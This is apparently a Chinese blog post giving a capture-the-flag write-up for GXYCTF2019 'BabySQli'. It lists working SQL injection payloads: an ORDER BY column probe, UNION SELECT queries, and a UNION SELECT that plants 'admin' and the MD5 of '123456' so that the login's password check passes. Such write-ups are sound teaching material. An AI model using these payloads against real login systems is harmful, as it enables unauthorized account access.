zoukankan      html  css  js  c++  java
  • [GXYCTF2019]BabySQli

    这题的知识点是绕过密码的md5验证,参考Y1ng师傅的文章

    看到题目,fuzz了一下,过滤的并不多

     而且页面源码有给sql语句,不过需要先base32再base64解码

    select * from user where username = '$name'

    直接可以用联合注入,表里有三列

    1' Order by 3#

    进行用联合注入,回显wrong user!,说明用户不在第一列

    1' union select 1,2,3#

    尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列

    1' union select 1,'admin',3#

     接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据

    首先可以看到该表只有一个用户

     

     然后我们可以用联合查询的方式将查询的数据插入到表中

     通过这样的方式,我们就可以用构造payload

    用户名输入(‘e10adc3949ba59abbe56e057f20f883e’是 123456的md5值)

    1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
    密码输入
    123456

    POST请求 ,获得flag

     
  • 相关阅读:
    SRS之SrsRtmpConn::service_cycle详解
    SRS之SrsRtmpServer::connect_app详解
    SRS之RTMP连接处理线程conn:接收客户端推流
    SRS之RTMP handshake
    SRS之RTMP的TCP线程(即监听线程)
    CSPS模拟 77
    CSPS模拟 76
    CSPS模拟 75
    CSPS模拟 74
    CSPS模拟 73
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12355035.html
Copyright © 2011-2022 走看看